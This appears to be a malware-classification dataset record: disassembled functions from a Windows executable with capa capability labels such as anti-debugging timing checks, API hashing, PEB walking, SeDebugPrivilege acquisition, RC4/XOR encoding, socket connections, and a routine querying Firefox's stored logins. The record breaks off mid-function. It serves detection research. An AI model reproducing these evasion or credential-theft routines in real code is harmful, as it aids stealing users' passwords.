joyce8/EMBER2024-capa huggingface dataset:
Function at 0x103e2feb
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x3d1f30
jmp 0x103e303b
mov byte [esp + 2], bl
mov word [esp], bp
mov dword [esp], esp
mov dword [esp], eax
jmp 0x103e2fd8
push ecx
push edx
push ebx
call fcn.103e2fbb
push edx
mov byte [esp + 2], dh
call 0x103e2feb
sbb byte [esi - 0x77], ah
inc esp
and al, 4
mov word [esp + 4], bp
pop word [esp + 1]
jmp 0x103e3379
setb bl
mov dx, bp
call fcn.103e3020
lea esi, [esp + 4]
mov ecx, dword [esp]
xchg bl, ch
jmp 0x103e3060
sub esp, 0xbc
jmp 0x103e30a8
pushfd
jmp 0x103e2a7e
mov edi, esp
cpuid
mov edx, dword [esp]
xchg cx, ax
mov ebx, ebp
call fcn.103e307e
mov eax, 0x3d6690e8
jmp 0x103e30f9
rdtsc
jmp 0x103e310f
xchg ecx, edx
bswap edx
lea eax, [esi + ebp]
jmp 0x103e3173
add ebp, 0x35638274
sub edx, 0xb88cd088
jbe 0x103e30dc
rdtsc
jmp 0x103e30e0
xchg ecx, edx
bswap edx
lea eax, [esi + ebp]
jmp 0x103e3173
mov ax, di
mov dx, word [esp]
shr ax, cl
bsr ecx, edx
jmp 0x103e319c
bswap eax
add ebp, 0x1b3aac74
neg ecx
jns 0x103e3141
js 0x103e31e7
in al, dx
bound eax, qword [0x58794af4]
mov ebx, 0x48b4d92
and al, 0x8d
add eax, 0x38b92b8
dec ebp
mov eax, dword [esp]
lea eax, reloc.KERNEL32.dll_GetFileSizeEx
mov ax, 0x9c7a
mov cx, dx
jmp 0x103e3157
jmp 0x103e31d0
neg ebp
setl cl
mov dx, word [esp]
sbb ch, 0xaa
js 0x103e3186
jns 0x103e31d0
das
mov byte [0x67a25730], al
arpl word [edx - 0x3542f00b], bx
bsr ecx, edx
jmp 0x103e319c
rdtsc
jmp 0x103e3209
add ebp, dword [esi]
stc
jle 0x103e31ba
rdtsc
mov dx, sp
call fcn.103e3ba4
scasb al, byte es:[edi]
cmp al, 0x5b
mov dh, 8
aas
push es
mov ax, di
mov dx, word [esp]
shr ax, cl
jmp 0x103e31b5
mov dx, sp
jmp 0x103e31f3
lea esp, [esp + 0xb]
mov word [esp + 0x12], ax
lea esp, [esp + 1]
mov dword [esp + 0x30], edi
lea esp, [esp + 0x30]
jmp 0x103e3078
pop word [esp + 1]
mov dword [esp + 0x1c], esi
pushal
push edi
mov dword [esp + 0xd], ebp
mov byte [esp + 2], al
jmp 0x103e3222

Function at 0x103e3020
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
inc eax
jg 0x103e305c
cpuid
jmp 0x103e305e
mov ebp, dword [esp + 0x30]
setle dl
jmp 0x103e300a
cpuid
jmp 0x103e3046

Function at 0x103e307e
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x103e3129
pop edx
neg eax
jmp 0x103e308c
xchg dh, ch
mov edx, dword [esp]
shl ax, 7
jmp 0x103e30cf
rdtsc
inc ebp
mov eax, ebp
setne dl
setg cl
jmp 0x103e30b9
rol dx, 2
jo 0x103e3083
pop edx
neg eax
xchg dh, ch
mov edx, dword [esp]
shl ax, 7
jmp 0x103e30cf

Function at 0x103e5078
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edi, [esp + 4]
not ecx
jmp 0x103e5084
mov edx, 0x6f21f2ca
jmp 0x103e50cd
xchg ch, bl
mov ecx, esi
mov dl, ah
jmp 0x103e50e0
rcl bx, 0xd
jo 0x103e509f
xchg ch, bl
jmp 0x103e50a1
sub esp, 0xbc
mov ebp, esp
not dl
lea edx, [ecx*4]
jmp 0x103e50b5
sub esp, 3
jl 0x103e52b0
mov word [esp], bx
clc
lea esp, [esp + 3]
inc ax
mov bx, word [esp]
jmp 0x103e5168
rdtsc
mov ah, dh
bts edx, esp
inc bx
ja 0x103e5137
rdtsc
jmp 0x103e5116
lea esp, [esp + 3]
inc ax
mov bx, word [esp]
jmp 0x103e5168
mov word [esp], bx
clc
jmp 0x103e5214
Function at 0x103e96d5
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ah, bh
mov byte [esp], dh
mov ax, bx
push edi
jmp 0x103e96bf

Function at 0x103e9dd3
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x103e9d3f
pop eax
sub eax, 0x50647867
jmp 0x103e9dc3
call 0x103e9dd3
dec ebp
push ebx
push esi
inc ebx
push edx
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add bh, bh
nop
dec edi
movsb byte es:[edi], byte [esi]
bound edx, qword [eax - 0x15]
sbb bl, byte [ecx - 0x7f]
jmp 0x20400a2c

Function at 0x103ea1c7
Capabilities:
Execute anti-debugging instructions

Disassembly:
call 0x103e8d18
jmp 0x103ea180
push 0
jmp 0x103ea111
pushfd
jmp 0x103ea177
jmp 0x103ea212
pushal
jmp 0x103e8d13
cmp dword [esp + 4], 0
jne 0x103ea127
jmp 0x103ea161
pop eax
sub eax, 0x869a56e3
jmp 0x103ea1b7
call 0x103ea1c7
dec ebp
push ebx
push esi
inc ebx
push edx
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add bh, bh
nop
cld
sbb byte [eax - 0x1405167a], 0xff
invalid
inc dword [esp + 8]
popfd
ret 4

Function at 0x103f05c0
Capabilities:
Encode data using xor

Disassembly:
mov bp, word [esp]
lea esp, [esp + 2]
mov ebp, dword [esp + 0x10]
lea esp, [esp + 0x14]
jmp 0x103d5256
xchg byte [esp + 1], al
lea eax, [eax + ebp]
mov eax, dword [esp + 0xc]
push dx
mov word [esp], sp
mov word [esp], si
jmp 0x103f0508
jmp 0x103f0548

Function at 0x104a622d
Capabilities:
Execute anti-debugging instructions

Disassembly:
stc
mov bp, di
xchg ecx, ebp
xchg dword [esp], edx
neg dx
xchg dx, si
jmp 0x104a61a1
mov al, byte [esp + 2]
dec ch
mov word [esp + 1], sp
neg ax
sub eax, ebx
xchg dword [esp], esi
jmp 0x104a60f4
push word [esp + 2]
mov dx, di
pop word [esp]
rdtsc
mov bx, 0x6dc2
cpuid
jmp 0x104a610a
xchg cx, dx
add esp, 2
stc
mov edi, 0x916296f5
btc dx, si
jmp 0x104a61c7
lea esp, [esp + 1]
rdtsc
xchg al, bl
xchg byte [esp + 1], bl
btc si, sp
jmp 0x104a6147
mov word [esp + 3], di
mov byte [esp + 3], dl
xchg dword [esp], ecx
pop word [esp + 1]
xchg si, dx
cpuid
jmp 0x104a615d
mov ecx, edx
std
rdtsc
xchg edx, eax
push word [esp]
mov di, 0x77b1
jmp 0x104a6174
shr cl, cl
sub esp, 0x1f
std
push dword [esp + 2]
jmp 0x104a61ee
not dh
mov cl, byte [esp]
mov bx, 0x2275
mov ebx, dword [esp]
mov ch, al
cld
jmp 0x104a61b1
sub esp, 0xf
mov bh, ch
mov edx, dword [esp + 0x2c]
stc
btc ax, cx
jmp 0x104a6208
lea ebp, [esi*4]
cpuid
pop dword [esp + 0x15]
xchg cx, ax
push dword [esp + 0x11]
pop dword [esp + 0x12]
jmp 0x104a61d8
mov ebx, 0xedbe30c3
pop dword [esp + 5]
cpuid
not dl
pop dx
clc
call fcn.104a6259
ret 0xc555
jmp 0x104a6131
Function at 0x104a6259
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov cx, 0x34c1
mov bh, cl
mov al, bh
mov word [esp + 0x16], cx
pop ebx
inc edx
jmp 0x104a6271
sub esp, 0x17
mov eax, dword [esp + 5]
mov ah, pe_nt_image_headers32
bswap ecx
inc ebx
xchg ebx, edi
jmp 0x104a625b
jmp 0x104a6232
pop word [esp + 0xf]
rdtsc
mov bp, word [esp + 6]
mov dl, byte [esp + 0x15]
jmp 0x104a62d7
rdtsc
neg dx
pop eax
mov dx, 0xcdef
lea esp, [esp + 0x1a]
add esp, 6
jmp 0x104a6243
pop word [esp + 0x10]
setb dh
pop edi
lea esi, [edi + 0xa6]
call fcn.104a633b
loopne 0x104a6366
jmp 0xd31ade7a
mov ax, word [esp + 0x15]
mov si, word [esp + 0xb]
neg dh
call fcn.104a6392
xchg edi, eax
dec cl
push 0x18bf8df9
xor al, 0
add byte [ebp - 0x79fbdb9c], cl
xor al, 0x24
sub esp, 0x1a
lea esi, [eax*4]
jmp 0x104a6342

Function at 0x104a6392
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg dl
xchg bh, dl
bswap ebx
jmp 0x104a639e
mov ecx, 0xc3796be3
mov ah, 0x11
mov dh, byte [esp + 0x1a]
xchg dword [esp + 0xc], esi
jmp 0x104a65f4
push esp
lea ebx, [esi + edi]
xchg word [esp + 0x11], bx
clc
xchg al, ah
mov bl, byte [esp + 0x10]
jmp 0x104a64a3
mov dword [esp + 0x13], ebp
mov si, word [esp + 0xf]
push dword [esp + 0xa]
setnp al
add esp, 0x13
cmc
jmp 0x104a63cd
push word [esp + 0x24]
mov edi, dword [esp + 2]
xchg word [esp + 0x1d], bx
jmp 0x104a6461
rdtsc
mov word [esp + 0xb], di
cpuid
push dword [esp + 9]
mov word [esp + 9], di
mov ah, ch
jmp 0x104a63f9
and edi, 0xebed48f5
cmp eax, edx
xchg word [esp + 0x16], bp
mov byte [esp + 0x17], al
btr bp, bp
lea ebx, [ebp + 0x68]
jmp 0x104a640f
lea edi, [esp + ebx]
mov ch, dh
popal
lea edi, [esp + eax]
xchg byte [esp + 1], bh
call fcn.104a6477
cmp dl, byte [0x3c8d3784]
lodsd eax, dword [esi]
add byte [eax], al
add byte [eax], al
lea edi, [ebp*4]
mov dword [esp + 0x16], esi
mov ax, 0xd264
cld
inc dx
xchg dh, ah
jmp 0x104a644b
mov word [esp + 7], si
sub esp, 0xa
mov dword [esp + 0xb], ecx
xchg dx, ax
mov eax, dword [esp + 0x22]
mov word [esp + 0x1f], bx
jmp 0x104a6431
mov al, 0x1f
dec ebp
pop dword [esp + 0xf]
pushfd
rdtsc
push dword [esp + 0x19]
jmp 0x104a63e3
xchg word [esp + 4], bp
mov edx, dword [esp + 1]
xchg bp, ax
sub esp, 0xd
and edx, 0x63b95e7e
xchg dword [esp + 0xe], eax
jmp 0x104a655a
lea esi, [ebp*4]
rdtsc
xchg edi, ebp
add esp, 9
lea ebp, reloc.KERNEL32.dll_GetFileSizeEx
pop edi
jmp 0x104a65a4

Function at 0x104a6a25
Capabilities:
Execute anti-debugging instructions

Disassembly:
stc
xchg bl, ch
sub esp, 0xc
push word [esp + 0x19]
jmp 0x104a6a89
pop word [esp + 0x1d]
sub esp, 2
pop word [esp + 0xa]
bswap ebp
xchg dword [esp + 9], eax
pushal
jmp 0x104a6a4a
mov bp, 0xa02b
mov byte [esp + 0x1b], dh
mov ax, bp
mov bp, di
xchg word [esp + 7], bp
push dword [esp + 0x25]
jmp 0x104a6a60
Function at 0x104a6ead
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [esp + 2]
setp bh
neg cx
xchg byte [esp + 2], bl
jmp 0x104a6ed2
not bh
setbe al
cpuid
mov dx, 0xd566
mov ch, bl
jmp 0x104a6e97
bswap edx
cpuid
not ax
mov ah, 0xcd
mov eax, dword [esp + 1]
jmp 0x104a6f1e
mov ax, bx
xchg byte [esp + 2], dh
mov al, byte [esp + 2]
lea edx, [ebp*4]
lea esp, [esp + 1]
jmp 0x104a6ebc
push dword [esp + 2]
shl ecx, cl
setl dh
lea esp, [esp + 6]
mov al, byte [esp]
jmp 0x104a6f6e
bts ax, bx
pop word [esp]
push ax
mov ecx, 0xbc6017c9
mov bx, word [esp + 1]
mov cl, ah
jmp 0x104a6f08
xchg ebp, esi
mov ax, 0x909
add edx, eax
std
push esp
xchg byte [esp], bh
jmp 0x104a6fb0
add esp, 0
bt eax, eax
bsr edi, ebx
rdtsc
pop ax
neg ch
jmp 0x104a6f58
push word [esp + 2]
mov byte [esp], ah
mov bh, byte [esp + 5]
bswap eax
jmp 0x104a6fdd
mov cx, ax
xchg byte [esp], al
cld
xchg byte [esp + 1], dh
lea edx, [ebx*4]
mov dx, bx
jmp 0x104a6f9a
mov eax, dword [esp + 8]
lea ebp, [eax*4]
cpuid
jmp 0x104a85b4
add esp, 1
push word [esp + 1]
rdtsc
mov bp, bx
push word [esp + 1]
mov ebp, 0xaaa46de8
jmp 0x104a6fc7
pop ebp
shr cl, cl
dec edi
mov ax, 0xa906
mov word [esp + 6], cx
sub esp, 0x17
jmp 0x104a7526
mov word [esp + 4], bp
mov esi, 0x62a8544a
bsr edx, esp
cmc
mov bp, 0xdf84
push dword [esp + 8]
jmp 0x104a765f
Function at 0x4029d4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x418ab0
sub eax, eax
test esi, esi
je 0x402aac
sub eax, 1
test ecx, ecx
je 0x402aaa
test esi, 3
je 0x402a12
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x4029f7
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x402a91
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x402a1c
mov ecx, edx
test ecx, ecx
je 0x402aaa
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x402a97
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x4030c4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
shr eax, 0x10
mov edx, dword [edi + 0x3c]
mov dword [ebp - 0xc], edx
mov esi, dword [edx + edi + 0x78]
add esi, edi
test ax, ax
jne 0x4030f3
movzx ecx, cx
sub ecx, dword [esi + 0x10]
jmp 0x40314f
mov ecx, dword [esi + 0x20]
mov eax, dword [esi + 0x24]
add ecx, edi
add eax, edi
mov dword [ebp - 4], ecx
mov dword [ebp + 8], eax
mov dword [ebp - 8], ebx
cmp dword [esi + 0x18], ebx
jbe 0x40313d
mov ebx, dword [ecx]
add ebx, edi
push ebx
call fcn.00405d0b
push eax
push ebx
call fcn.00402c38
add esp, 0xc
cmp eax, dword [ebp + 0xc]
je 0x403146
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
add ecx, 4
add dword [ebp + 8], 2
inc eax
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp eax, dword [esi + 0x18]
jb 0x40310b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
movzx ecx, word [eax]
test ecx, ecx
je 0x40313d
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edi]
add ecx, edi
cmp ecx, esi
jbe 0x403177
mov eax, ecx
sub eax, esi
cmp eax, dword [edx + edi + 0x7c]
jae 0x403177
push ebx
push edi
call fcn.00402c03
pop ecx
pop ecx
mov ecx, eax
mov eax, ecx
jmp 0x40313f
Function at 0x40317b
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0xc]
mov esi, ebx
mov eax, dword [esi + 0x18]
push dword [esi + 0x28]
mov dword [ebp - 8], eax
call fcn.00402c77
mov edi, eax
pop ecx
test edi, edi
je 0x4031cf
push 0
push edi
call fcn.004032ea
push edi
call fcn.00405d24
add eax, eax
push eax
push edi
call fcn.00402c38
add esp, 0x14
cmp dword [ebp + 8], eax
je 0x4031e0
mov esi, dword [esi]
cmp ebx, esi
jne 0x40319b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 8]
jmp 0x4031d7

Function at 0x404972
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
xor ecx, ecx
push ebx
push esi
push edi
mov word [edx + 0x100], 1
mov eax, ecx
mov ebx, 0x100
mov byte [eax + edx], al
inc eax
cmp eax, ebx
jl 0x40498d
mov edi, dword [ebp + 0xc]
mov esi, ecx
mov al, byte [ecx + edi]
xor byte [esi + edx], al
inc ecx
xor eax, eax
cmp ecx, dword [ebp + 0x10]
cmovge ecx, eax
inc esi
cmp esi, ebx
jl 0x40499a
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404e17
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
xor eax, eax
push edi
push 8
pop ecx
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x1c], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x18], 6
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x20], 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x404e5d
xor eax, eax
jmp 0x404ecf
push ebx
push esi
push 4
call fcn.00402b7c
mov esi, eax
or ebx, 0xffffffff
pop ecx
mov dword [esi], ebx
mov edi, dword [ebp - 4]
push dword [edi + 0xc]
push dword [edi + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, ebx
jne 0x404e98
push esi
call fcn.00402bab
pop ecx
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x404ec7
push dword [edi + 0x10]
push dword [edi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, ebx
jne 0x404eb3
push dword [esi]
call fcn.00404de5
pop ecx
mov dword [esi], ebx
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [esi], ebx
jne 0x404ecb
push esi
call fcn.00402bab
pop ecx
xor eax, eax
jmp 0x404ecd
mov eax, esi
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40515f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], 0x41455243
mov dword [ebp - 0xc], 0x54204554
mov dword [ebp - 8], 0x454c4241
call fcn.00405d0b
mov dword [ebp - 4], eax
lea esi, [eax + 0x10]
push esi
call fcn.00402b7c
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x40525a
push edi
push esi
push 0
push ebx
call fcn.00402b4e
mov edi, ebx
mov byte [ebx + 0xc], 0x20
lea esi, [ebp - 0x10]
lea eax, [ebx + 0xd]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push eax
call fcn.00402b2b
push 0x7d0
lea eax, [esi + 0xe]
mov byte [ebx + esi + 0xd], 0x20
push eax
push ebx
push dword [ebp + 8]
call fcn.004045ff
push ebx
mov esi, eax
call fcn.00402bab
add esp, 0x2c
test esi, esi
je 0x405257
push 0x415194
push esi
call fcn.00405ef6
mov edi, eax
pop ecx
pop ecx
inc edi
je 0x405257
push str.UNIQUE
push edi
call fcn.00405ef6
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x405228
push edi
call fcn.00405d0b
push ebx
mov esi, eax
call fcn.00405d0b
pop ecx
pop ecx
lea ecx, [esi + edi]
sub ecx, eax
mov byte [ecx - 1], 0
jmp 0x405253
push 0x4151a0
push edi
call fcn.00405ef6
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x405257
push edi
call fcn.00405d0b
push ebx
mov esi, eax
call fcn.00405d0b
pop ecx
pop ecx
lea ecx, [esi + edi]
sub ecx, eax
mov byte [ecx], 0
mov eax, edi
jmp 0x405259
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40650a
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor edi, edi
call fcn.004060ac
push edi
push edi
push 0xea792a5f
push 9
mov esi, eax
call fcn.004031e5
lea ecx, [ebp - 4]
push ecx
push 0x28
push esi
call eax
test eax, eax
je 0x40659c
push edi
push edi
push 0xc6c3ecbb
push 9
call fcn.004031e5
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push edi
call eax
test eax, eax
je 0x406591
mov eax, dword [ebp - 0xc]
mov esi, dword [ebp - 4]
push ebx
push edi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
inc ebx
push 0xc1642df2
push 9
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 2
call fcn.004031e5
push edi
push edi
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
push edi
push esi
call eax
test eax, eax
cmovne edi, ebx
pop ebx
push dword [ebp - 4]
call fcn.00403c40
pop ecx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40955b
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [0x49b970], 0
je 0x40968a
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [0x49b964]
pop ecx
pop ecx
test eax, eax
jne 0x40968a
push eax
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
push str.SELECT_encryptedUsername__encryptedPassword__formSubmitURL__hostname_FROM_moz_logins
push dword [ebp - 8]
call dword [0x49b960]
add esp, 0x14
test eax, eax
jne 0x409680
push dword [ebp - 4]
call dword [0x49b95c]
pop ecx
cmp eax, 0x64
jne 0x409676
push ebx
push esi
push edi
push 0
push dword [ebp - 4]
call dword [0x49b968]
push eax
call fcn.00408b45
push 1
push dword [ebp - 4]
mov edi, eax
call dword [0x49b968]
push eax
call fcn.00408b45
push 2
push dword [ebp - 4]
mov ebx, eax
call dword [0x49b968]
push eax
call fcn.004059d8
mov esi, eax
add esp, 0x24
test esi, esi
je 0x409606
push esi
call fcn.00405d24
pop ecx
cmp eax, 5
jae 0x40961c
push 3
push dword [ebp - 4]
call dword [0x49b968]
push eax
call fcn.004059d8
add esp, 0xc
mov esi, eax
push 0
push 1
push esi
push dword [0x49b96c]
call fcn.00405872
push 0
push 1
push edi
push dword [0x49b96c]
call fcn.00405872
push 0
push 1
push ebx
push dword [0x49b96c]
call fcn.00405872
push edi
call fcn.00402bab
push ebx
call fcn.00402bab
push esi
call fcn.00402bab
push dword [ebp - 4]
call dword [0x49b95c]
add esp, 0x40
cmp eax, 0x64
je 0x4095ba
pop edi
pop esi
pop ebx
push dword [ebp - 4]
call dword [0x49b958]
pop ecx
push dword [ebp - 8]
call dword [0x49b954]
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40c72c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
push ebx
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x90], 0xf8a8ac1d
mov dword [ebp - 0x8c], 0x3e48b8d3
mov dword [ebp - 0x88], 0xa3e7d48
mov dword [ebp - 0x84], 0x26dd0762
mov dword [ebp - 0x80], 0x38167e6
mov dword [ebp - 0x7c], 0xa513b2e7
mov dword [ebp - 0x78], 0x4fee79b0
mov dword [ebp - 0x74], 0xed15410f
mov dword [ebp - 0x70], 0xe58c147b
mov dword [ebp - 0x6c], 0xc10d464b
mov dword [ebp - 0x68], 0xe7d6fe8e
mov dword [ebp - 0x64], 0x8b067527
mov dword [ebp - 0x60], 0xfdc0049
mov dword [ebp - 0x5c], 0xfd9ea030
mov dword [ebp - 0x58], 0xc8f18509
mov dword [ebp - 0x54], 0x8c175aa
mov dword [ebp - 0x50], 0xe2017905
mov dword [ebp - 0x4c], 0x80afd897
mov dword [ebp - 0x48], 0x710b6038
mov dword [ebp - 0x44], 0x7753680e
mov dword [ebp - 0x40], 0xf6610f2f
mov dword [ebp - 0x3c], 0x5c8f8e1d
mov dword [ebp - 0x38], 0x74213db2
mov dword [ebp - 0x34], 0x6b54b40
mov dword [ebp - 0x30], 0xbd7aab6e
mov dword [ebp - 0x2c], 0x327ea98b
mov dword [ebp - 0x28], 0x24066e8f
mov dword [ebp - 0x24], 0xa5a429d9
mov dword [ebp - 0x20], 0xfd2326be
mov dword [ebp - 0x1c], 0xf4cf1ee
mov dword [ebp - 0x18], 0xfb585e74
mov dword [ebp - 0x14], 0x91ef7491
mov dword [ebp - 0x10], 0x2e6d6f63
mov dword [ebp - 0xc], 0x6c707061
mov dword [ebp - 8], 0x61532e65
mov dword [ebp - 4], 0x69726166
call fcn.0040c94c
mov ebx, eax
mov dword [ebp - 0xa0], ebx
pop ecx
test ebx, ebx
je 0x40c944
and dword [ebp - 0x94], esi
lea eax, [ebp - 0x94]
push edi
push eax
push ebx
call fcn.0040374e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40c93c
mov eax, dword [ebp - 0x94]
test eax, eax
je 0x40c93c
push esi
push esi
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0x90]
push 0xe28d3f7b
push 3
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xac], 0x90
call fcn.004031e5
xor edx, edx
lea ecx, [ebp - 0x9c]
push ecx
push edx
push edx
push edx
lea ecx, [ebp - 0xac]
push ecx
push edx
lea ecx, [ebp - 0xb4]
push ecx
call eax
test eax, eax
je 0x40c935
mov ebx, dword [ebp - 0x98]
movzx eax, byte [ebx]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x9c]
add eax, 0xfffffffc
push eax
call fcn.00402b7c
mov esi, eax
pop ecx
test esi, esi
je 0x40c923
mov ecx, dword [ebp - 0x9c]
add ecx, 0xfffffffc
push ecx
push 0
push esi
call fcn.00402b4e
push dword [ebp - 0xa4]
lea eax, [ebx + 4]
push eax
push esi
call fcn.00402b2b
add esp, 0x18
push dword [ebp - 0x98]
call fcn.004036a3
mov ebx, dword [ebp - 0xa0]
pop ecx
push edi
call fcn.00402bab
pop ecx
push ebx
call fcn.00402bab
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f054
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00405d24
add eax, eax
mov dword [ebp - 4], eax
lea edi, [eax + 2]
push edi
call fcn.00402b7c
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x40f0b8
push edi
push 0
push ebx
call fcn.00402b4e
mov al, byte [esi + 1]
add esp, 0xc
xor al, byte [esi]
or al, 0x50
mov byte [esi], al
push 2
pop edi
cmp dword [ebp - 4], edi
jbe 0x40f0b6
mov al, byte [esi]
xor byte [edi + esi], al
movzx eax, byte [edi + esi]
push eax
push ebx
push str._s_c
push ebx
call fcn.00405ecd
add esp, 0x10
inc edi
cmp edi, dword [ebp - 4]
jb 0x40f097
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4119b3
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 5
jge 0x4119c6
xor eax, eax
jmp 0x411a89
push ebx
push 0x63
pop eax
push 0x3a
mov word [ebp - 0x14], ax
xor ebx, ebx
pop eax
push 0x5c
mov word [ebp - 0x12], ax
pop eax
push ebx
push ebx
mov word [ebp - 0x10], ax
xor eax, eax
push 0xf375eed5
push ebx
mov word [ebp - 0xe], ax
call fcn.004031e5
push ebx
push ebx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 4]
push ecx
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
call eax
test eax, eax
movzx eax, word [ebp - 4]
jne 0x411a14
mov eax, 0xff00ff
push esi
push edi
push eax
call fcn.00402bc8
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 4]
pop ecx
shr edi, 0x10
movzx ecx, byte [esi + 1]
and edi, 0x1f
movzx eax, byte [esi]
inc edi
shl ecx, 8
or ecx, eax
mov eax, ebx
add edi, ecx
jmp 0x411a42
call fcn.00402bd5
dec edi
test edi, edi
jg 0x411a3c
movzx edx, byte [esi + 3]
movzx ecx, byte [esi + 2]
shl edx, 8
or edx, ecx
cmp eax, edx
jne 0x411a65
movzx ebx, byte [esi + 4]
cmp ebx, 0x40
jge 0x411a65
cmp ebx, dword [ebp + 0xc]
jle 0x411a69
xor eax, eax
jmp 0x411a86
xor edi, edi
test ebx, ebx
